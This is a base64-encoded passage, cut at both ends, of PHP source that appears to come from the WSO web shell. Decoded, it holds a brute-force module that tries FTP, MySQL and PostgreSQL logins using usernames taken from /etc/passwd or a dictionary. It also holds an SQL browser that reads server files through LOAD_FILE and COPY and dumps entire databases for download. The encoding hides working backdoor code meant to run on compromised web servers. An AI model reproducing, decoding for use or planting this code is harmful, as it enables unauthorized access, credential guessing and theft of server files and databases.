byAnPGgxPlJlc3VsdHM8L2gxPjxkaXYgY2xhc3M9Y29udGVudD48c3Bhbj5UeXBlOjwvc3Bhbj4gJy5odG1sc3BlY2lhbGNoYXJzKCRfUE9TVFsncHJvdG8nXSkuJyA8c3Bhbj5TZXJ2ZXI6PC9zcGFuPiAnLmh0bWxzcGVjaWFsY2hhcnMoJF9QT1NUWydzZXJ2ZXInXSkuJzxicj4nOw0KCQlpZiggJF9QT1NUWydwcm90byddID09ICdmdHAnICkgew0KCQkJZnVuY3Rpb24gd3NvQnJ1dGVGb3JjZSgkaXAsJHBvcnQsJGxvZ2luLCRwYXNzKSB7DQoJCQkJJGZwID0gQGZ0cF9jb25uZWN0KCRpcCwgJHBvcnQ/JHBvcnQ6MjEpOw0KCQkJCWlmKCEkZnApIHJldHVybiBmYWxzZTsNCgkJCQkkcmVzID0gQGZ0cF9sb2dpbigkZnAsICRsb2dpbiwgJHBhc3MpOw0KCQkJCUBmdHBfY2xvc2UoJGZwKTsNCgkJCQlyZXR1cm4gJHJlczsNCgkJCX0NCgkJfSBlbHNlaWYoICRfUE9TVFsncHJvdG8nXSA9PSAnbXlzcWwnICkgew0KCQkJZnVuY3Rpb24gd3NvQnJ1dGVGb3JjZSgkaXAsJHBvcnQsJGxvZ2luLCRwYXNzKSB7DQoJCQkJJHJlcyA9IEBteXNxbF9jb25uZWN0KCRpcC4nOicuJHBvcnQ/JHBvcnQ6MzMwNiwgJGxvZ2luLCAkcGFzcyk7DQoJCQkJQG15c3FsX2Nsb3NlKCRyZXMpOw0KCQkJCXJldHVybiAkcmVzOw0KCQkJfQ0KCQl9IGVsc2VpZiggJF9QT1NUWydwcm90byddID09ICdwZ3NxbCcgKSB7DQoJCQlmdW5jdGlvbiB3c29CcnV0ZUZvcmNlKCRpcCwkcG9ydCwkbG9naW4sJHBhc3MpIHsNCgkJCQkkc3RyID0gImhvc3Q9JyIuJGlwLiInIHBvcnQ9JyIuJHBvcnQuIicgdXNlcj0nIi4kbG9naW4uIicgcGFzc3dvcmQ9JyIuJHBhc3MuIicgZGJuYW1lPXBvc3RncmVzIjsNCgkJCQkkcmVzID0gQHBnX2Nvbm5lY3QoJHN0cik7DQoJCQkJQHBnX2Nsb3NlKCRyZXMpOw0KCQkJCXJldHVybiAkcmVzOw0KCQkJfQ0KCQl9DQoJCSRzdWNjZXNzID0gMDsNCgkJJGF0dGVtcHRzID0gMDsNCgkJJHNlcnZlciA9IGV4cGxvZGUoIjoiLCAkX1BPU1RbJ3NlcnZlciddKTsNCgkJaWYoJF9QT1NUWyd0eXBlJ10gPT0gMSkgew0KCQkJJHRlbXAgPSBAZmlsZSgnL2V0Yy9wYXNzd2QnKTsNCgkJCWlmKCBpc19hcnJheSgkdGVtcCkgKQ0KCQkJCWZvcmVhY2goJHRlbXAgYXMgJGxpbmUpIHsNCgkJCQkJJGxpbmUgPSBleHBsb2RlKCI6IiwgJGxpbmUpOw0KCQkJCQkrKyRhdHRlbXB0czsNCgkJCQkJaWYoIHdzb0JydXRlRm9yY2UoQCRzZXJ2ZXJbMF0sQCRzZXJ2ZXJbMV0sICRsaW5lWzBdLCAkbGluZVswXSkgKSB7DQoJCQkJCQkkc3VjY2VzcysrOw0KCQkJCQkJZWNobyAnPGI+Jy5odG1sc3BlY2lhbGNoYXJzKCRsaW5lWzBdKS4nPC9iPjonLmh0bWxzcGVjaWFsY2hhcnMoJGxpbmVbMF0pLic8YnI+JzsNCgkJCQkJfQ0KCQkJCQlpZihAJF9QT1NUWydyZXZlcnNlJ10pIHsNCgkJCQkJCSR0bXAgPSAiIjsNCgkJCQkJCWZvcigkaT1zdHJsZW4oJGxpbmVbMF0pLTE7ICRpPj0wOyAtLSRpKQ0KCQkJCQkJCSR0bXAgLj0gJGxpbmVbMF1bJGldOw0KCQkJCQkJKyskYXR0ZW1wdHM7DQoJCQkJCQlpZiggd3NvQnJ1dGVGb3JjZShAJHNlcnZlclswXSxAJHNlcnZlclsxXSwgJGxpbmVbMF0sICR0bXApICkgew0KCQkJCQkJCSRzdWNjZXNzKys7DQoJCQkJCQkJZWNobyAnPGI+Jy5odG1sc3BlY2lhbGNoYXJzKCRsaW5lWzBdKS4nPC9iPjonLmh0bWxzcGVjaWFsY2hhcnMoJHRtcCk7DQoJCQkJCQl9DQoJCQkJCX0NCgkJCQl9DQoJCX0gZWxzZWlmKCRfUE9TVFsndHlwZSddID09IDIpIHsNCgkJCSR0ZW1wID0gQGZpbGUoJF9QT1NUWydkaWN0J10pOw0KCQkJaWYoIGlzX2FycmF5KCR0ZW1wKSApDQoJCQkJZm9yZWFjaCgkdGVtcCBhcyAkbGluZSkgew0KCQkJCQkkbGluZSA9IHRyaW0oJGxpbmUpOw0KCQkJCQkrKyRhdHRlbXB0czsNCgkJCQkJaWYoIHdzb0JydXRlRm9yY2UoJHNlcnZlclswXSxAJHNlcnZlclsxXSwgJF9QT1NUWydsb2dpbiddLCAkbGluZSkgKSB7DQoJCQkJCQkkc3VjY2VzcysrOw0KCQkJCQkJZWNobyAnPGI+Jy5odG1sc3BlY2lhbGNoYXJzKCRfUE9TVFsnbG9naW4nXSkuJzwvYj46Jy5odG1sc3BlY2lhbGNoYXJzKCRsaW5lKS4nPGJyPic7DQoJCQkJCX0NCgkJCQl9DQoJCX0NCgkJZWNobyAiPHNwYW4+QXR0ZW1wdHM6PC9zcGFuPiAkYXR0ZW1wdHMgPHNwYW4+U3VjY2Vzczo8L3NwYW4+ICRzdWNjZXNzPC9kaXY+PGJyPiI7DQoJfQ0KCWVjaG8gJzxoMT5iUlV0RWYwckNlPC9oMT48ZGl2IGNsYXNzPWNvbnRlbnQ+PHRhYmxlPjxmb3JtIG1ldGhvZD1wb3N0Pjx0cj48dGQ+PHNwYW4+VHlwZTwvc3Bhbj48L3RkPicNCgkJLic8dGQ+PHNlbGVjdCBuYW1lPXByb3RvPjxvcHRpb24gdmFsdWU9ZnRwPkZUUDwvb3B0aW9uPjxvcHRpb24gdmFsdWU9bXlzcWw+TXlTcWw8L29wdGlvbj48b3B0aW9uIHZhbHVlPXBnc3FsPlBvc3RncmVTcWw8L29wdGlvbj48L3NlbGVjdD48L3RkPjwvdHI+PHRyPjx0ZD4nDQoJCS4nPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YyB2YWx1ZT0iJy5odG1sc3BlY2lhbGNoYXJzKCRHTE9CQUxTWydjd2QnXSkuJyI+Jw0KCQkuJzxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWEgdmFsdWU9IicuaHRtbHNwZWNpYWxjaGFycygkX1BPU1RbJ2EnXSkuJyI+Jw0KCQkuJzxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWNoYXJzZXQgdmFsdWU9IicuaHRtbHNwZWNpYWxjaGFycygkX1BPU1RbJ2NoYXJzZXQnXSkuJyI+Jw0KCQkuJzxzcGFuPnNFcnZFcjpwMHJUPC9zcGFuPjwvdGQ+Jw0KCQkuJzx0ZD48aW5wdXQgdHlwZT10ZXh0IG5hbWU9c2VydmVyIHZhbHVlPSIxMjcuMC4wLjEiPjwvdGQ+PC90cj4nDQoJCS4nPHRyPjx0ZD48c3Bhbj5iUlV0RSBUeUJlPC9zcGFuPjwvdGQ+Jw0KCQkuJzx0ZD48bGFiZWw+PGlucHV0IHR5cGU9cmFkaW8gbmFtZT10eXBlIHZhbHVlPSIxIiBjaGVja2VkPiAvZXRjL3Bhc3N3ZDwvbGFiZWw+PC90ZD48L3RyPicNCgkJLic8dHI+PHRkPjwvdGQ+PHRkPjxsYWJlbCBzdHlsZT0icGFkZGluZy1sZWZ0OjE1cHgiPjxpbnB1dCB0eXBlPWNoZWNrYm94IG5hbWU9cmV2ZXJzZSB2YWx1ZT0xIGNoZWNrZWQ+IHJldmVyc2UgKGxvZ2luIC0+IG5pZ29sKTwvbGFiZWw+PC90ZD48L3RyPicNCgkJLic8dHI+PHRkPjwvdGQ+PHRkPjxsYWJlbD48aW5wdXQgdHlwZT1yYWRpbyBuYW1lPXR5cGUgdmFsdWU9IjIiPiBEaWN0aW9uYXJ5PC9sYWJlbD48L3RkPjwvdHI+Jw0KCQkuJzx0cj48dGQ+PC90ZD48dGQ+PHRhYmxlIHN0eWxlPSJwYWRkaW5nLWxlZnQ6MTVweCI+PHRyPjx0ZD48c3Bhbj5Mb0dpTjwvc3Bhbj48L3RkPicNCgkJLic8dGQ+PGlucHV0IHR5cGU9dGV4dCBuYW1lPWxvZ2luIHZhbHVlPSJyb290Ij48L3RkPjwvdHI+Jw0KCQkuJzx0cj48dGQ+PHNwYW4+ZGlDdGkwbkFyWTwvc3Bhbj48L3RkPicNCgkJLic8dGQ+PGlucHV0IHR5cGU9dGV4dCBuYW1lPWRpY3QgdmFsdWU9IicuaHRtbHNwZWNpYWxjaGFycygkR0xPQkFMU1snY3dkJ10pLidwYXNzd2QuZGljIj48L3RkPjwvdHI+PC90YWJsZT4nDQoJCS4nPC90ZD48L3RyPjx0cj48dGQ+PC90ZD48dGQ+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSI+PiI+PC90ZD48L3RyPjwvZm9ybT48L3RhYmxlPic7DQoJZWNobyAnPC9kaXY+PGJyPic7DQoJd3NvRm9vdGVyKCk7DQp9DQoNCmZ1bmN0aW9uIGFjdGlvblNxbCgpIHsNCgljbGFzcyBEYkNsYXNzIHsNCgkJdmFyICR0eXBlOw0KCQl2YXIgJGxpbms7DQoJCXZhciAkcmVzOw0KCQlmdW5jdGlvbiBEYkNsYXNzKCR0eXBlKQl7DQoJCQkkdGhpcy0+dHlwZSA9ICR0eXBlOw0KCQl9DQoJCWZ1bmN0aW9uIGNvbm5lY3QoJGhvc3QsICR1c2VyLCAkcGFzcywgJGRibmFtZSl7DQoJCQlzd2l0Y2goJHRoaXMtPnR5cGUpCXsNCgkJCQljYXNlICdteXNxbCc6DQoJCQkJCWlmKCAkdGhpcy0+bGluayA9IEBteXNxbF9jb25uZWN0KCRob3N0LCR1c2VyLCRwYXNzLHRydWUpICkgcmV0dXJuIHRydWU7DQoJCQkJCWJyZWFrOw0KCQkJCWNhc2UgJ3Bnc3FsJzoNCgkJCQkJJGhvc3QgPSBleHBsb2RlKCc6JywgJGhvc3QpOw0KCQkJCQlpZighJGhvc3RbMV0pICRob3N0WzFdPTU0MzI7DQoJCQkJCWlmKCAkdGhpcy0+bGluayA9IEBwZ19jb25uZWN0KCJob3N0PXskaG9zdFswXX0gcG9ydD17JGhvc3RbMV19IHVzZXI9JHVzZXIgcGFzc3dvcmQ9JHBhc3MgZGJuYW1lPSRkYm5hbWUiKSApIHJldHVybiB0cnVlOw0KCQkJCQlicmVhazsNCgkJCX0NCgkJCXJldHVybiBmYWxzZTsNCgkJfQ0KCQlmdW5jdGlvbiBzZWxlY3RkYigkZGIpIHsNCgkJCXN3aXRjaCgkdGhpcy0+dHlwZSkJew0KCQkJCWNhc2UgJ215c3FsJzoNCgkJCQkJaWYgKEBteXNxbF9zZWxlY3RfZGIoJGRiKSlyZXR1cm4gdHJ1ZTsNCgkJCQkJYnJlYWs7DQoJCQl9DQoJCQlyZXR1cm4gZmFsc2U7DQoJCX0NCgkJZnVuY3Rpb24gcXVlcnkoJHN0cikgew0KCQkJc3dpdGNoKCR0aGlzLT50eXBlKSB7DQoJCQkJY2FzZSAnbXlzcWwnOg0KCQkJCQlyZXR1cm4gJHRoaXMtPnJlcyA9IEBteXNxbF9xdWVyeSgkc3RyKTsNCgkJCQkJYnJlYWs7DQoJCQkJY2FzZSAncGdzcWwnOg0KCQkJCQlyZXR1cm4gJHRoaXMtPnJlcyA9IEBwZ19xdWVyeSgkdGhpcy0+bGluaywkc3RyKTsNCgkJCQkJYnJlYWs7DQoJCQl9DQoJCQlyZXR1cm4gZmFsc2U7DQoJCX0NCgkJZnVuY3Rpb24gZmV0Y2goKSB7DQoJCQkkcmVzID0gZnVuY19udW1fYXJncygpP2Z1bmNfZ2V0X2FyZygwKTokdGhpcy0+cmVzOw0KCQkJc3dpdGNoKCR0aGlzLT50eXBlKQl7DQoJCQkJY2FzZSAnbXlzcWwnOg0KCQkJCQlyZXR1cm4gQG15c3FsX2ZldGNoX2Fzc29jKCRyZXMpOw0KCQkJCQlicmVhazsNCgkJCQljYXNlICdwZ3NxbCc6DQoJCQkJCXJldHVybiBAcGdfZmV0Y2hfYXNzb2MoJHJlcyk7DQoJCQkJCWJyZWFrOw0KCQkJfQ0KCQkJcmV0dXJuIGZhbHNlOw0KCQl9DQoJCWZ1bmN0aW9uIGxpc3REYnMoKSB7DQoJCQlzd2l0Y2goJHRoaXMtPnR5cGUpCXsNCgkJCQljYXNlICdteXNxbCc6DQogICAgICAgICAgICAgICAgICAgICAgICByZXR1cm4gJHRoaXMtPnF1ZXJ5KCJTSE9XIGRhdGFiYXNlcyIpOw0KCQkJCWJyZWFrOw0KCQkJCWNhc2UgJ3Bnc3FsJzoNCgkJCQkJcmV0dXJuICR0aGlzLT5yZXMgPSAkdGhpcy0+cXVlcnkoIlNFTEVDVCBkYXRuYW1lIEZST00gcGdfZGF0YWJhc2UgV0hFUkUgZGF0aXN0ZW1wbGF0ZSE9J3QnIik7DQoJCQkJYnJlYWs7DQoJCQl9DQoJCQlyZXR1cm4gZmFsc2U7DQoJCX0NCgkJZnVuY3Rpb24gbGlzdFRhYmxlcygpIHsNCgkJCXN3aXRjaCgkdGhpcy0+dHlwZSkJew0KCQkJCWNhc2UgJ215c3FsJzoNCgkJCQkJcmV0dXJuICR0aGlzLT5yZXMgPSAkdGhpcy0+cXVlcnkoJ1NIT1cgVEFCTEVTJyk7DQoJCQkJYnJlYWs7DQoJCQkJY2FzZSAncGdzcWwnOg0KCQkJCQlyZXR1cm4gJHRoaXMtPnJlcyA9ICR0aGlzLT5xdWVyeSgic2VsZWN0IHRhYmxlX25hbWUgZnJvbSBpbmZvcm1hdGlvbl9zY2hlbWEudGFibGVzIHdoZXJlIHRhYmxlX3NjaGVtYSAhPSAnaW5mb3JtYXRpb25fc2NoZW1hJyBBTkQgdGFibGVfc2NoZW1hICE9ICdwZ19jYXRhbG9nJyIpOw0KCQkJCWJyZWFrOw0KCQkJfQ0KCQkJcmV0dXJuIGZhbHNlOw0KCQl9DQoJCWZ1bmN0aW9uIGVycm9yKCkgew0KCQkJc3dpdGNoKCR0aGlzLT50eXBlKQl7DQoJCQkJY2FzZSAnbXlzcWwnOg0KCQkJCQlyZXR1cm4gQG15c3FsX2Vycm9yKCk7DQoJCQkJYnJlYWs7DQoJCQkJY2FzZSAncGdzcWwnOg0KCQkJCQlyZXR1cm4gQHBnX2xhc3RfZXJyb3IoKTsNCgkJCQlicmVhazsNCgkJCX0NCgkJCXJldHVybiBmYWxzZTsNCgkJfQ0KCQlmdW5jdGlvbiBzZXRDaGFyc2V0KCRzdHIpIHsNCgkJCXN3aXRjaCgkdGhpcy0+dHlwZSkJew0KCQkJCWNhc2UgJ215c3FsJzoNCgkJCQkJaWYoZnVuY3Rpb25fZXhpc3RzKCdteXNxbF9zZXRfY2hhcnNldCcpKQ0KCQkJCQkJcmV0dXJuIEBteXNxbF9zZXRfY2hhcnNldCgkc3RyLCAkdGhpcy0+bGluayk7DQoJCQkJCWVsc2UNCgkJCQkJCSR0aGlzLT5xdWVyeSgnU0VUIENIQVJTRVQgJy4kc3RyKTsNCgkJCQkJYnJlYWs7DQoJCQkJY2FzZSAncGdzcWwnOg0KCQkJCQlyZXR1cm4gQHBnX3NldF9jbGllbnRfZW5jb2RpbmcoJHRoaXMtPmxpbmssICRzdHIpOw0KCQkJCQlicmVhazsNCgkJCX0NCgkJCXJldHVybiBmYWxzZTsNCgkJfQ0KCQlmdW5jdGlvbiBsb2FkRmlsZSgkc3RyKSB7DQoJCQlzd2l0Y2goJHRoaXMtPnR5cGUpCXsNCgkJCQljYXNlICdteXNxbCc6DQoJCQkJCXJldHVybiAkdGhpcy0+ZmV0Y2goJHRoaXMtPnF1ZXJ5KCJTRUxFQ1QgTE9BRF9GSUxFKCciLmFkZHNsYXNoZXMoJHN0cikuIicpIGFzIGZpbGUiKSk7DQoJCQkJYnJlYWs7DQoJCQkJY2FzZSAncGdzcWwnOg0KCQkJCQkkdGhpcy0+cXVlcnkoIkNSRUFURSBUQUJMRSB3c28yKGZpbGUgdGV4dCk7Q09QWSB3c28yIEZST00gJyIuYWRkc2xhc2hlcygkc3RyKS4iJztzZWxlY3QgZmlsZSBmcm9tIHdzbzI7Iik7DQoJCQkJCSRyPWFycmF5KCk7DQoJCQkJCXdoaWxlKCRpPSR0aGlzLT5mZXRjaCgpKQ0KCQkJCQkJJHJbXSA9ICRpWydmaWxlJ107DQoJCQkJCSR0aGlzLT5xdWVyeSgnZHJvcCB0YWJsZSB3c28yJyk7DQoJCQkJCXJldHVybiBhcnJheSgnZmlsZSc9PmltcGxvZGUoIlxuIiwkcikpOw0KCQkJCWJyZWFrOw0KCQkJfQ0KCQkJcmV0dXJuIGZhbHNlOw0KCQl9DQoJCWZ1bmN0aW9uIGR1bXAoJHRhYmxlLCAkZnAgPSBmYWxzZSkgew0KCQkJc3dpdGNoKCR0aGlzLT50eXBlKQl7DQoJCQkJY2FzZSAnbXlzcWwnOg0KCQkJCQkkcmVzID0gJHRoaXMtPnF1ZXJ5KCdTSE9XIENSRUFURSBUQUJMRSBgJy4kdGFibGUuJ2AnKTsNCgkJCQkJJGNyZWF0ZSA9IG15c3FsX2ZldGNoX2FycmF5KCRyZXMpOw0KCQkJCQkkc3FsID0gJGNyZWF0ZVsxXS4iO1xuIjsNCiAgICAgICAgICAgICAgICAgICAgaWYoJGZwKSBmd3JpdGUoJGZwLCAkc3FsKTsgZWxzZSBlY2hvKCRzcWwpOw0KCQkJCQkkdGhpcy0+cXVlcnkoJ1NFTEVDVCAqIEZST00gYCcuJHRhYmxlLidgJyk7DQogICAgICAgICAgICAgICAgICAgICRpID0gMDsNCiAgICAgICAgICAgICAgICAgICAgJGhlYWQgPSB0cnVlOw0KCQkJCQl3aGlsZSgkaXRlbSA9ICR0aGlzLT5mZXRjaCgpKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAkc3FsID0gJyc7DQogICAgICAgICAgICAgICAgICAgICAgICBpZigkaSAlIDEwMDAgPT0gMCkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRoZWFkID0gdHJ1ZTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkc3FsID0gIjtcblxuIjsNCiAgICAgICAgICAgICAgICAgICAgICAgIH0NCg0KCQkJCQkJJGNvbHVtbnMgPSBhcnJheSgpOw0KCQkJCQkJZm9yZWFjaCgkaXRlbSBhcyAkaz0+JHYpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZigkdiA9PT0gbnVsbCkNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGl0ZW1bJGtdID0gIk5VTEwiOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVsc2VpZihpc19pbnQoJHYpKQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkaXRlbVska10gPSAkdjsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBlbHNlDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRpdGVtWyRrXSA9ICInIi5AbXlzcWxfcmVhbF9lc2NhcGVfc3RyaW5nKCR2KS4iJyI7DQoJCQkJCQkJJGNvbHVtbnNbXSA9ICJgIi4kay4iYCI7DQoJCQkJCQl9DQogICAgICAgICAgICAgICAgICAgICAgICBpZigkaGVhZCkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRzcWwgLj0gJ0lOU0VSVCBJTlRPIGAnLiR0YWJsZS4nYCAoJy5pbXBsb2RlKCIsICIsICRjb2x1bW5zKS4iKSBWQUxVRVMgXG5cdCgiLmltcGxvZGUoIiwgIiwgJGl0ZW0pLicpJzsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkaGVhZCA9IGZhbHNlOw0KICAgICAgICAgICAgICAgICAgICAgICAgfSBlbHNlDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJHNxbCAuPSAiXG5cdCwoIi5pbXBsb2RlKCIsICIsICRpdGVtKS4nKSc7DQogICAgICAgICAgICAgICAgICAgICAgICBpZigkZnApIGZ3cml0ZSgkZnAsICRzcWwpOyBlbHNlIGVjaG8oJHNxbCk7DQogICAgICAgICAgICAgICAgICAgICAgICAkaSsrOw0KCQkJCQl9DQogICAgICAgICAgICAgICAgICAgIGlmKCEkaGVhZCkNCiAgICAgICAgICAgICAgICAgICAgICAgIGlmKCRmcCkgZndyaXRlKCRmcCwgIjtcblxuIik7IGVsc2UgZWNobygiO1xuXG4iKTsNCgkJCQlicmVhazsNCgkJCQljYXNlICdwZ3NxbCc6DQoJCQkJCSR0aGlzLT5xdWVyeSgnU0VMRUNUICogRlJPTSAnLiR0YWJsZSk7DQoJCQkJCXdoaWxlKCRpdGVtID0gJHRoaXMtPmZldGNoKCkpIHsNCgkJCQkJCSRjb2x1bW5zID0gYXJyYXkoKTsNCgkJCQkJCWZvcmVhY2goJGl0ZW0gYXMgJGs9PiR2KSB7DQoJCQkJCQkJJGl0ZW1bJGtdID0gIiciLmFkZHNsYXNoZXMoJHYpLiInIjsNCgkJCQkJCQkkY29sdW1uc1tdID0gJGs7DQoJCQkJCQl9DQogICAgICAgICAgICAgICAgICAgICAgICAkc3FsID0gJ0lOU0VSVCBJTlRPICcuJHRhYmxlLicgKCcuaW1wbG9kZSgiLCAiLCAkY29sdW1ucykuJykgVkFMVUVTICgnLmltcGxvZGUoIiwgIiwgJGl0ZW0pLicpOycuIlxuIjsNCiAgICAgICAgICAgICAgICAgICAgICAgIGlmKCRmcCkgZndyaXRlKCRmcCwgJHNxbCk7IGVsc2UgZWNobygkc3FsKTsNCgkJCQkJfQ0KCQkJCWJyZWFrOw0KCQkJfQ0KCQkJcmV0dXJuIGZhbHNlOw0KCQl9DQoJfTsNCgkkZGIgPSBuZXcgRGJDbGFzcygkX1BPU1RbJ3R5cGUnXSk7DQoJaWYoQCRfUE9TVFsncDInXT09J2Rvd25sb2FkJykgew0KCQkkZGItPmNvbm5lY3QoJF9QT1NUWydzcWxfaG9zdCddLCAkX1BPU1RbJ3NxbF9sb2dpbiddLCAkX1BPU1RbJ3NxbF9wYXNzJ10sICRfUE9TVFsnc3FsX2Jhc2UnXSk7DQoJCSRkYi0+c2VsZWN0ZGIoJF9QT1NUWydzcWxfYmFzZSddKTsNCiAgICAgICAgc3dpdGNoKCRfUE9TVFsnY2hhcnNldCddKSB7DQogICAgICAgICAgICBjYXNlICJXaW5kb3dzLTEyNTEiOiAkZGItPnNldENoYXJzZXQoJ2NwMTI1MScpOyBicmVhazsNCiAgICAgICAgICAgIGNhc2UgIlVURi04IjogJGRiLT5zZXRDaGFyc2V0KCd1dGY4Jyk7IGJyZWFrOw0KICAgICAgICAgICAgY2FzZSAiS09JOC1SIjogJGRiLT5zZXRDaGFyc2V0KCdrb2k4cicpOyBicmVhazsNCiAgICAgICAgICAgIGNhc2UgIktPSTgtVSI6ICRkYi0+c2V0Q2hhcnNldCgna29pOHUnKTsgYnJlYWs7DQogICAgICAgICAgICBjYXNlICJjcDg2NiI6ICRkYi0+c2V0Q2hhcnNldCgnY3A4NjYnKTsgYnJlYWs7DQogICAgICAgIH0NCiAgICAgICAgaWYoZW1wdHkoJF9QT1NUWydmaWxlJ10pKSB7DQogICAgICAgICAgICBvYl9zdGFydCgib2JfZ3poYW5kbGVyIiwgNDA5Nik7DQogICAgICAgICAgICBoZWFkZXIoIkNvbnRlbnQtRGlzcG9zaXRpb246IGF0dGFjaG1lbnQ7IGZpbGVuYW1lPWR1bXAuc3FsIik7DQogICAgICAgICAgICBoZWFkZXIoIkNvbnRlbnQtVHlwZTogdGV4dC9wbGFpbiIpOw0KICAgICAgICAgICAgZm9yZWFjaCgkX1BPU1RbJ3RibCddIGFzICR2KQ0KCQkJCSRkYi0+ZHVtcCgkdik7DQogICAgICAgICAgICBleGl0Ow0KICAgICAgICB9IGVsc2VpZigkZnAgPSBAZm9wZW4oJF9QT1NUWydmaWxlJ10sICd3JykpIHsNCiAgICAgICAgICAgIGZvcmVhY2goJF9QT1NUWyd0YmwnXSBhcyAkdikNCiAgICAgICAgICAgICAgICAkZGItPmR1bXAoJHYsICRmcCk7DQogICAgICAgICAgICBmY2xvc2UoJGZwKTsNCiAgICAgICAgICAgIHVuc2V0KCRfUE9TVFsncDInXSk7DQogICAgICAgIH0gZWxzZQ0KICAgICAgICAgICAgZGllKCc8c2NyaXB0PmFsZXJ0KCJFcnJvciEgQ2FuXCd0IG9wZW4gZmlsZSIpO3dpbmRvdy5oaXN0b3J5LmJhY2soLTEpPC9zY3JpcHQ+Jyk7DQoJfQ0KCXdzb0hlYWRlcigpOw0KCWVjaG8gIg0KPGgxPnNRTCBiUjBXc0VyPC9oMT48ZGl2IGNsYXNzPWNvbnRlbnQ+DQo8Zm9ybSBuYW1lPSdzZicgbWV0aG9kPSdwb3N0JyBvbnN1Ym1pdD0nZnModGhpcyk7Jz48dGFibGUgY2VsbHBhZGRpbmc9JzInIGNlbGxzcGFjaW5nPScwJz48dHI+DQo8dGQ+dFlwRTwvdGQ+PHRkPkhvU3Q8L3RkPjx0ZD5Mb0dpTjwvdGQ+PHRkPnBBU1N3MHJEPC90ZD48dGQ+ZEFUYWJBc0U8L3RkPjx0ZD48L3RkPjwvdHI+PHRyPg0KPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YSB2YWx1ZT1TcWw+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9cDEgdmFsdWU9J3F1ZXJ5Jz48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1wMiB2YWx1ZT0nJz48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1jIHZhbHVlPSciLiBodG1sc3BlY2lhbGNoYXJzKCRHTE9CQUxTWydjd2QnXSkgLiInPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWNoYXJzZXQgdmFsdWU9JyIuIChpc3NldCgkX1BPU1RbJ2NoYXJzZXQnXSk/JF9QT1NUWydjaGFyc2V0J106JycpIC4iJz4NCjx0ZD48c2VsZWN0IG5hbWU9J3R5cGUnPjxvcHRpb24gdmFsdWU9J215c3FsJyAiOw0KICAgIGlmKEAkX1BPU1RbJ3R5cGUnXT09J215c3FsJyllY2hvICdzZWxlY3RlZCc7DQplY2hvICI+TXlTcWw8L29wdGlvbj48b3B0aW9uIHZhbHVlPSdwZ3NxbCcgIjsNCmlmKEAkX1BPU1RbJ3R5cGUnXT09J3Bnc3FsJyllY2hvICdzZWxlY3RlZCc7DQplY2hvICI+UG9zdGdyZVNxbDwvb3B0aW9uPjwvc2VsZWN0PjwvdGQ+DQo8dGQ+PGlucHV0IHR5cGU9dGV4dCBuYW1lPXNxbF9ob3N0IHZhbHVlPVwiIi4gKGVtcHR5KCRfUE9TVFsnc3FsX2hvc3QnXSk/J2xvY2FsaG9zdCc6aHRtbHNwZWNpYWxjaGFycygkX1BPU1RbJ3NxbF9ob3N0J10pKSAuIlwiPjwvdGQ+DQo8dGQ+PGlucHV0IHR5cGU9dGV4dCBuYW1lPXNxbF9sb2dpbiB2YWx1ZT1cIiIuIChlbXB0eSgkX1BPU1RbJ3NxbF9sb2dpbiddKT8ncm9vdCc6aHRtbHNwZWNpYWxjaGFycygkX1BPU1RbJ3NxbF9sb2dpbiddKSkgLiJcIj48L3RkPg0KPHRkPjxpbnB1dCB0eXBlPXRleHQgbmFtZT1zcWxfcGFzcyB2YWx1ZT1cIiIuIChlbXB0eSgkX1BPU1RbJ3NxbF9wYXNzJ10pPycnOmh0bWxzcGVjaWFsY2hhcnMoJF9QT1NUWydzcWxfcGFzcyddKSkgLiJcIj48L3RkPjx0ZD4iOw0KCSR0bXAgPSAiPGlucHV0IHR5cGU9dGV4dCBuYW1lPXNxbF9iYXNlIHZhbHVlPScnPiI7DQoJaWYoaXNzZXQoJF9QT1NUWydzcWxfaG9zdCddKSl7DQoJCWlmKCRkYi0+Y29ubmVjdCgkX1BPU1RbJ3NxbF9ob3N0J10sICRfUE9TVFsnc3FsX2xvZ2luJ10sICRfUE9TVFsnc3FsX3Bhc3MnXSwgJF9QT1NUWydzcWxfYmFzZSddKSkgew0KCQkJc3dpdGNoKCRfUE9TVFsnY2hhcnNldCddKSB7DQoJCQkJY2FzZSAiV2luZG93cy0xMjUxIjogJGRiLT5zZXRDaGFyc2V0KCdjcDEyNTEnKTsgYnJlYWs7DQoJCQkJY2FzZSAiVVRGLTgiOiAkZGItPnNldENoYXJzZXQoJ3V0ZjgnKTsgYnJlYWs7DQoJCQkJY2FzZSAiS09JOC1SIjogJGRiLT5zZXRDaGFyc2V0KCdrb2k4cicpOyBicmVhazsNCgkJCQljYXNlICJLT0k4LVUiOiAkZGItPnNldENoYXJzZXQoJ2tvaTh1Jyk7IGJyZWFrOw0KCQkJCWNhc2UgImNwODY2IjogJGRiLT5zZXRDaGFyc2V0KCdjcDg2NicpOyBicmVhazsNCgkJCX0NCgkJCSRkYi0+bGlzdERicygpOw0KCQkJZWNobyAiPHNlbGVjdCBuYW1lPXNxbF9iYXNlPjxvcHRpb24gdmFsdWU9Jyc+PC9vcHRpb24+IjsNCgkJCXdoaWxlKCRpdGVtID0gJGRiLT5mZXRjaCgpKSB7DQoJCQkJbGlzdCgka2V5LCAkdmFsdWUpID0gZWFjaCgkaXRlbSk7DQoJCQkJZWNobyAnPG9wdGlvbiB2YWx1ZT0iJy4kdmFsdWUuJyIgJy4oJHZhbHVlPT0kX1BPU1RbJ3NxbF9iYXNlJ10/J3NlbGVjdGVkJzonJykuJz4nLiR2YWx